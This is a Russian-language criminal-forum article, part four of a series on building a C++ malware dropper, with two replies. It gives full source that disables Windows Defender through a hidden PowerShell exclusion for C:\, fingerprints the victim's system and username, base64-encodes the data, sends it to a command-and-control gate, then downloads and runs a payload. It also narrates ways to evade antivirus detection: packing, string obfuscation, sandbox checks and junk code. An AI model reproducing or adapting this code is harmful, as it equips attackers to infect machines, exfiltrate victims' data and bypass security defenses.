• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пишем свой простейший дроппер на плюсах ч4

Barmaleus

(L2) cache
Пользователь
Регистрация
11.08.2023
Сообщения
403
Реакции
165
Гарант сделки
11
Депозит
0.0001
Автор Barmaleus
Источник https://xss.pro

Разовьём тему нашего дроппера. В первый и второй раз мы сваяли простенькую версию, а теперь пора его прокачать по полной.
В предыдущей статье мы написали свой собственный phpскрипт и подняли сервер, который будет принимать от нашего дроппера айди билда и информацию о системе, ниже опубликую схему с прошлой статьи так как часто будем на неё отсылаться.
1720293798504.png

Там мы сделали основную и большую опору на сервер в плане антибот системы, уведомлений, сбора и сохранения информации с дроппера, и поэтому в дропер мы вносим функции сбора, шифрования запроса и отправки на сервер. Значит, мы сделали ставку на сервак, а наш дроппер теперь будет как разведчик в тылу врага, почти троянский конь. Вот что мы вносим в эту хитрую штуковину в плане c++ кода:
  • Система: версия / айди билда.
  • Видеокарта, процессор, оперативная память.
  • Юзеры: список или имя с которого запустили.
  • Разрешение экрана
Пожалуй напомню так же и код нашего варианта дроппера финальный который был
C++:
#include <string>
#include <fstream>
#include "windows.h"
#include <filesystem>
#include "xor.h"
#include "futils.h"
#include "cmp.h"
#include "dcmp.h"
#define USE_WINAPI false

std::filesystem::path GetTemporaryDir(){
    try {
        wchar_t tempPath[MAX_PATH];
        DWORD dwSize = MAX_PATH;
        if (GetTempPathW(dwSize,tempPath)) {
            return tempPath;
        }
    }catch (...) {
        return L"";
    }
}
bool IsElevated()
{
    try
    {
        HANDLE hToken;
        BOOL runWithAdmin = FALSE;
        if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
        {
            TOKEN_ELEVATION elevation;
            DWORD dwSize;
            if (GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &dwSize))
            {
                runWithAdmin = elevation.TokenIsElevated;
            }
        }
        if (hToken) {
            CloseHandle(hToken);
        }
        return runWithAdmin;

    }
    catch (...)
    {
        return FALSE;
    }
}

void executePoweShellCommand(const std::wstring& cmd) {
    std::wstring fullCmd = L"powershell.exe -Command \"& {Start-Process powershell.exe -WindowStyle Hidden -ArgumentList '\"";
    fullCmd += cmd;
    fullCmd += L"\' -Verb RunAs}\"";
    _wsystem(fullCmd.c_str());
}

int wmain() {
    if(!IsElevated()) {
        exit(EXIT_FAILURE);
    }
    executePoweShellCommand(StringToWString("Add-MpPreference -Force -ExclusionPath \"C://\""));
    std::wstring url = L"http://127.0.0.1/file.exe";
    std::filesystem::path file = GetTemporaryDir() / L"Request.data";
    URLDownloadToFileW(0,url.c_str(),file.c_str(),0,0);
    std::wstring command = L"start ";
    command += file.c_str();
    _wsystem(command.c_str());
    return 0;
}
В нём мы отключали winodws defender при помощь powershell, проверяли наличие админ прав и тупо качали файл с ссылки. Но теперь нужно будет получать некоторые параметры для отправки на сервер.
Делаем получение видеокарты через библиотеку dxgi.dll, есть и другие способы через wmic и прочее более сложное многострочное, но пока возьмём этот способ.
C++:
std::wstring GetGPUInfo() {
    IDXGIFactory* pFactory = nullptr;
    IDXGIAdapter* pAdapter = nullptr;
    std::wstring result = L"empty";

    if (SUCCEEDED(CreateDXGIFactory(__uuidof(IDXGIFactory), (void**)&pFactory))) {
        if (SUCCEEDED(pFactory->EnumAdapters(0, &pAdapter))) {
            DXGI_ADAPTER_DESC adapterDesc;
            if (SUCCEEDED(pAdapter->GetDesc(&adapterDesc))) {
                result = adapterDesc.Description;
            }
            pAdapter->Release();
        }
        pFactory->Release();
    }

    return result;
}
Следующим этапом сделаем получение размера экрана и имени пользователя.
C++:
std::string GetScreenResolution() {
    int screenWidth = GetSystemMetrics(SM_CXSCREEN);
    int screenHeight = GetSystemMetrics(SM_CYSCREEN);

    return std::to_string(screenWidth) + "x" + std::to_string(screenHeight);
}
Тут всё просто метод есть в винде, а параметры в дефайнах / макросах, SM_CXSCREEN - высота, SM_CYSCREEN - ширина, ну или икс и игрик.
Для получения имени пользователя метод тоже есть в винде, но будем получать в широких строках если попадётся какой - нибудь араб, где нету ansi.
C++:
std::wstring GetUserNameW() {
wchar_t szBuffer[30];
unsigned long lSize = sizeof(szBuffer);

if (GetUserNameW(szBuffer, &lSize) == 0) {
return L"empty";

    }
 return szBuffer;
}
Теперь добрались и до процессора, его то как получить? Есть множество способов, но я предлагаю через функцию cpuid, она по умолчанию есть везде.
C++:
std::string GetCPUInfo() {
    char CPUBrandString[0x40];
    int CPUInfo[4] = {-1};
    __cpuid(CPUInfo, 0x80000000);
    unsigned int nExIds = CPUInfo[0];

    memset(CPUBrandString, 0, sizeof(CPUBrandString));

    for (unsigned int i = 0x80000000; i <= nExIds; ++i) {
        __cpuid(CPUInfo, i);
        if (i == 0x80000002)
            memcpy(CPUBrandString, CPUInfo, sizeof(CPUInfo));
        else if (i == 0x80000003)
            memcpy(CPUBrandString + 16, CPUInfo, sizeof(CPUInfo));
        else if (i == 0x80000004)
            memcpy(CPUBrandString + 32, CPUInfo, sizeof(CPUInfo));
    }

    return std::string(CPUBrandString);
}
Код сложноватый но давайте сначала проверим его работспособность.
1720296432667.png

Всё получилось и мы успешно получили имя процессора, дело остаётся уже за малым. Получаем кол - во оперативной памяти в MB умножая на 1024 в квалрате.
C++:
std::string GetRAMInfo() {
    MEMORYSTATUSEX memInfo;
    memInfo.dwLength = sizeof(MEMORYSTATUSEX);
    GlobalMemoryStatusEx(&memInfo);
    DWORDLONG totalPhysMem = memInfo.ullTotalPhys;

    return std::to_string(totalPhysMem / (1024 * 1024)) + " MB";
}
Версию винды получаем через RtlGetVersion, чтобы не добавлять экспорт, сделаем через GetProcAdress.
C++:
std::string GetWindowsVersion() {
    NTSTATUS(WINAPI *RtlGetVersion)(LPOSVERSIONINFOEXW);
    OSVERSIONINFOEXW osInfo;

    *(FARPROC*)&RtlGetVersion = GetProcAddress(GetModuleHandleA("ntdll"), "RtlGetVersion");

    if (NULL != RtlGetVersion) {
        osInfo.dwOSVersionInfoSize = sizeof(osInfo);
        RtlGetVersion(&osInfo);

        return "Windows " + std::to_string(osInfo.dwMajorVersion) + "." +
               std::to_string(osInfo.dwMinorVersion) + " (Build " +
               std::to_string(osInfo.dwBuildNumber) + ")";
    }

    return "empty";
}
Теперь осталось собрать эти параметры в единое целое и отправить их на наш сервер. В качестве разделителя параметров буду использовать символ "_".
C++:
std::wstring spl = L"_";
std::wstring info = StringToWString(GetWindowsVersion()) + spl + GetUserNameW() + spl + StringToWString(GetScreenResolution()) + spl + GetGPUInfo() + spl + StringToWString(GetCPUInfo());
printf("\n%s\n", WstringToString(info).c_str());
Опять же проверяем всё ли получается и правильно ли выполняется код.
1720296997739.png

Выглядит эта кракозябра конечно очень сомнительно но окэй, раз заработала значит пока не чего не меняем).
Вспоминаем скрипт сервера снова, а именно какие параметры мы там принимаем и используем.
PHP:
if (htmlspecialchars($type) == 'connect'){
    $build = base64_decode($_GET['id']);
    $info = base64_decode($_GET['info']);
Айди билда от 8 символов + информация которую мы ток с вами получали и выводили в консоль. То - есть по сути нам надо сделать так чтобы коннект был такого вида https://localhost/Gate.php?event=connect&id=нашид=&info=нашаинфа.
Приступаем к написанию кода. Для начала добавим base64 который будет шифровать наш запрос на сервер и дешифровывать его с сервера, exe пока будем выдавать сразу с сервера без шифра для тестов.
C++:
#include <algorithm>

static const std::wstring base64_chars =
    L"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    L"abcdefghijklmnopqrstuvwxyz"
    L"0123456789+/";

static inline bool is_base64(unsigned char c) {
    return (isalnum(c) || (c == '+') || (c == '/'));
}
std::wstring base64_encode(const std::wstring &input) {
    std::string temp(input.begin(), input.end());
    std::string output;
    int i = 0, j = 0;
    unsigned char char_array_3[3], char_array_4[4];
    unsigned int in_len = temp.size();
    unsigned char const* bytes_to_encode = reinterpret_cast<const unsigned char*>(temp.c_str());

    while (in_len--) {
        char_array_3[i++] = *(bytes_to_encode++);
        if (i == 3) {
            char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
            char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
            char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
            char_array_4[3] = char_array_3[2] & 0x3f;

            for (i = 0; i < 4; i++)
                output += base64_chars[char_array_4[i]];
            i = 0;
        }
    }

    if (i) {
        for (j = i; j < 3; j++)
            char_array_3[j] = '\0';

        char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
        char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
        char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);

        for (j = 0; j < i + 1; j++)
            output += base64_chars[char_array_4[j]];

        while (i++ < 3)
            output += '=';
    }

    return std::wstring(output.begin(), output.end());
}
std::wstring base64_decode(const std::wstring &encoded_string) {
    std::string input(encoded_string.begin(), encoded_string.end());
    int in_len = input.size();
    int i = 0;
    int j = 0;
    int in_ = 0;
    unsigned char char_array_4[4], char_array_3[3];
    std::string ret;

    while (in_len-- && (input[in_] != '=') && is_base64(input[in_])) {
        char_array_4[i++] = input[in_]; in_++;
        if (i == 4) {
            for (i = 0; i < 4; i++)
                char_array_4[i] = base64_chars.find(char_array_4[i]);

            char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
            char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
            char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];

            for (i = 0; i < 3; i++)
                ret += char_array_3[i];
            i = 0;
        }
    }

    if (i) {
        for (j = i; j < 4; j++)
            char_array_4[j] = 0;

        for (j = 0; j < 4; j++)
            char_array_4[j] = base64_chars.find(char_array_4[j]);

        char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
        char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
        char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];

        for (j = 0; (j < i - 1); j++) ret += char_array_3[j];
    }

    return std::wstring(ret.begin(), ret.end());
}
Инклудаем данный файлик и идём в главный .cpp нашего дроппера. Код получиться следующего вида, выглядит дотошно, но давайте проверять работоспособность.
PHP:
int wmain() {
std::wstring spl = L"_";
if(!IsElevated()) {
 exit(EXIT_FAILURE);
    }
executePoweShellCommand(StringToWString("Add-MpPreference -Force -ExclusionPath \"C://\""));
std::wstring url = L"https://host.com/Gate.php?event=connect&id=";
url += base64_encode(L"PeaceDuke");
url += L"&info=";
std::wstring info = StringToWString(GetWindowsVersion()) + spl + GetUserNameW() + spl + StringToWString(GetScreenResolution()) + spl + GetGPUInfo() + spl + StringToWString(GetCPUInfo());
url += base64_encode(info);
std::filesystem::path file = GetTemporaryDir() / L"Request.data";
URLDownloadToFileW(0,url.c_str(),file.c_str(),0,0);
std::wstring command = L"start ";
command += file.c_str();
_wsystem(command.c_str());
return 0;
}
Код как ожидалось отработал и выдал ответ сервера, дальше открыл его в блокноте так как у .data файла ассоциация с ним.
1720297939700.png

Но всё же давайте прогрузим exe и посмотрим что будет вместе с ним. И заодно попробуем скачать через хром с включенным виндовс дефендером. Грузим наш пейлоад на сервер и меняем строчку на выдачу его
PHP:
die(file_get_contents("Example.exe"));
Было бы очень весело если бы опять открылся блокнот, но тут открылся наш новоиспеченный пейлоад.
1720298183112.png

Грузим дроппер на хост и качаем с него. Используйте гитхаб или свой хостинг потому, что всякие дискорды и другие могут принести вам детектов и проблем в подарок, тот же кнченный дропбокс. Файл не пропустило и снесло вакасраком, давайте попробуем его запампить и уже потом посмотрим что весёлого с ним произошло, тригериться вд здесь может много на что, включая нашу реализацию powershell исключения для него. Попробуем так же зашифровать строки с помощью https://github.com/adamyaxley/Obfuscate, это инлайн обфускация строк макросом достаточно просто её использовать. Даже с пампом не проканало, давайте добавим проверку на виртуализацию и песочницу раз всё так плохо и печально. Самое интересное что это происходит только при скачке с хрома, при дропе на вирту такого не наблюдается.
Вот тут то старый дед как биткоин и сдулся и рантайи детекта тоже нету + не какого всратого хром алерта о том что файл скачивают мало человеков, смарт скрин есть, но на него нам пока по барабану, нам главное было обойти всратый виндовс дефендер.
1720299582786.png
1720299530458.png

Итак что ж за проверка на виртуализацию так вынесла и решили нам херову тучу проблем, но при повторной скачке опять видим печальку, чудес не бывает. Убрав половину кода пришёл к выводу что детект в чём то другом. Почистив весь код и оставив только winMain понял в каком районе нам надо копать.
Оставив только проверку на админ права получаем слеюующий прикол в лицо.
1720300145249.png

Решил дальше накапывать в сторону виртуализации и заметил интересный прикол как можно намудрить и обмануть этого конченного старого пердеда, в первый раз он не просто так пропустил наш файл, а потому что мы сделали ему небольшую помеху.
Самое странное что файл спокойно качается через EDGE, но при этом сносится при скачке с гугла.
1720300884733.png

Чёто походу он образумился и вернув добавление исключений в ps я всё же обошёл этого злого мудохана, но на очень короткое время.
1720300994831.png

Сейчас для 1000% уверенности проверим с виртуалки на новой свеженькой 11 винде с нового снапа. По итогу ситуация получается интересная, при скачке сначала с эджа на обоих виндах файл не сноситься. но при скачке сначала с хрома начинает происходить лютая дичь из - за которой надо менять код местами, при этом сам хром не детектит файл. Стало спокойно его пускать, думаю добавить нормальный манифест и иконку и уже всё будет более чем пучком.
1720301773546.png

Сейчас перезагружу автомобиль и посмотрим заново что изменилось, файл как и полагалось сноситься. Решил побаловаться с настройками компилера и в целом посмотреть почему так происходит. Решил проверить статик детект на вирустотале и понял что надо ещё копать и копать дальше.
1720303337391.png

Добавляем чутка мусора и проверяем заново. Короче очень странная дичь, но у нас уже есть хотя бы какой-то результат.
1720304130000.png

В идеале надо было написать немного по другому чтобы было меньше детектов, добавить сисколлы и так далее, но так как все эти статьи писались для того чтобы показать как это работает и как это сделать, нашей основной целью было написать дроппер и понять как он работает и что должен делать, его уже можно превратить в лоадер добавив подгрузку шеллкода или loadpe, но всё же считаю данный опыт довольно интересным и весёлым, сделаю этот тред наверное завершающим потому, что кончается свободное время и появляются дела, при желании можно прикрутить запуск через создание виртуального жесткого диска, идеально подойдет для дропера(VHD). Всем спасибо за поддержку, пожалуй завершаю статью.
 

Вложения

  • 1720298239586.png
    1720298239586.png
    54.2 КБ · Просмотры: 32
  • src.zip
    8.5 КБ · Просмотры: 35
Последнее редактирование:
return std::to_string(totalPhysMem / (1024 * 1024)) + " MB"; }
вот тебе еще подгон босяцкий, для конвертации чиселков в человекочитаемый формат
C++:
    static const auto kb = static_cast<unsigned long long>(std::pow(2, 10));
    static const auto mb = static_cast<unsigned long long>(std::pow(2, 20));
    static const auto gb = static_cast<unsigned long long>(std::pow(2, 30));
    static const auto tb = static_cast<unsigned long long>(std::pow(2, 40));
    static const auto pb = static_cast<unsigned long long>(std::pow(2, 50));

    std::string StringUtils::size_string(unsigned long long int size)
    {
        if (size == 0) return "O B";

        if (size < kb)
        {
            return std::format("{} B", size);
        }
        if (size < mb)
        {
            const unsigned long long remainder = size % kb;
            return std::format("{} Kb {} B", size / kb, remainder);
        }
        if (size < gb)
        {
            return std::format("{} Mb {} Kb", size / mb, (size % kb) / kb);
        }
        if (size < tb)
        {
            return std::format("{} Gb {} Mb", size / gb, (size % gb) / mb);
        }
        if (size < pb)
        {
            return std::format("{} Tb {} Gb", size / tb, (size % tb) / gb);
        }
        return "over do huja";
    }
 
Д
вот тебе еще подгон босяцкий, для конвертации чиселков в человекочитаемый формат
C++:
    static const auto kb = static_cast<unsigned long long>(std::pow(2, 10));
    static const auto mb = static_cast<unsigned long long>(std::pow(2, 20));
    static const auto gb = static_cast<unsigned long long>(std::pow(2, 30));
    static const auto tb = static_cast<unsigned long long>(std::pow(2, 40));
    static const auto pb = static_cast<unsigned long long>(std::pow(2, 50));

    std::string StringUtils::size_string(unsigned long long int size)
    {
        if (size == 0) return "O B";

        if (size < kb)
        {
            return std::format("{} B", size);
        }
        if (size < mb)
        {
            const unsigned long long remainder = size % kb;
            return std::format("{} Kb {} B", size / kb, remainder);
        }
        if (size < gb)
        {
            return std::format("{} Mb {} Kb", size / mb, (size % kb) / kb);
        }
        if (size < tb)
        {
            return std::format("{} Gb {} Mb", size / gb, (size % gb) / mb);
        }
        if (size < pb)
        {
            return std::format("{} Tb {} Gb", size / tb, (size % tb) / gb);
        }
        return "over do huja";
    }
Да есть такое когда стилачок писал, но всеравно пачеба Тут просто пока ток размер оперативки, а жесткий диск проверяем от кол-ва гигабайт. Дропер уже мб смысл потерял теперь надо расширять функционал и превращаться в лодер без зависимостей.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх